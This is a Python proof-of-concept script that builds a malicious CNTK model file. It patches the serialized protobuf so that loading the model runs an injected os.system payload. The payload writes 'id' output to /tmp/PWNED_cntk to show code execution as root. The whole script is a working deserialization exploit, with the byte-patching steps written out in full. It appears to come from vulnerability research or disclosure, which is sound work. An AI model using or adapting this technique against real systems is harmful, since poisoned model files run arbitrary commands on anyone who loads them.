| """ |
| Linux clean-room build of the STDLIB-ONLY malicious CNTK model. |
| Same technique as build_inject.py, but the injected payload writes an |
| unambiguous marker to /tmp/PWNED_cntk and runs `id` to prove the effective |
| user (root) of the exec. No attacker .py file is referenced (module='builtins'). |
| |
| Output: /out/model_inject_linux.cntk |
| """ |
| import os, sys, types |
| import cntk as C |
| from cntk import user_function, input_variable, output_variable |
| from cntk.ops.functions import UserFunction |
|
|
| OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/out" |
|
|
| |
| |
| |
| |
| |
| payload = "getattr\nimport os\nos.system('id > /tmp/PWNED_cntk 2>&1;echo INJECTED_NO_EXTERNAL_FILE >> /tmp/PWNED_cntk')" |
| L = len(payload) |
| print("payload len =", L) |
| assert L < 127, "keep <127 for single-byte protobuf varint length" |
|
|
| |
| clsname = "P" + "a" * (L - 1) |
|
|
| |
| MODNAME = "evilmodx" |
| mod = types.ModuleType(MODNAME) |
| sys.modules[MODNAME] = mod |
|
|
| def infer_outputs(self): |
| return [output_variable(self.inputs[0].shape, self.inputs[0].dtype, self.inputs[0].dynamic_axes)] |
|
|
| Tmp = type(clsname, (UserFunction,), { |
| "__module__": MODNAME, |
| "__init__": lambda self, arg, name='u': UserFunction.__init__(self, [arg], name=name), |
| "forward": lambda self, a, device=None, outputs_to_retain=None: (None, a), |
| "backward": lambda self, s, g: g, |
| "infer_outputs": infer_outputs, |
| "serialize": lambda self: {}, |
| "deserialize": staticmethod(lambda inputs, name, state: None), |
| }) |
| setattr(mod, clsname, Tmp) |
|
|
| x = input_variable(2, name='x') |
| f = user_function(Tmp(x, name='u')) |
| tmp_path = os.path.join(OUTDIR, "_tmp_inject_linux.cntk") |
| f.save(tmp_path) |
|
|
| data = bytearray(open(tmp_path, "rb").read()) |
|
|
| |
| key_c = bytes([0x42, L]) + clsname.encode() |
| i = data.find(key_c) |
| assert i >= 0, "class field not found" |
| data[i:i+len(key_c)] = bytes([0x42, L]) + payload.encode() |
| print("patched class at", i) |
|
|
| |
| key_m = bytes([0x42, 8]) + MODNAME.encode() |
| j = data.find(key_m) |
| assert j >= 0, "module field not found" |
| data[j:j+len(key_m)] = bytes([0x42, 8]) + b"builtins" |
| print("patched module at", j) |
|
|
| out = os.path.join(OUTDIR, "model_inject_linux.cntk") |
| open(out, "wb").write(data) |
| os.remove(tmp_path) |
| print("wrote", out, len(data), "bytes") |
|
|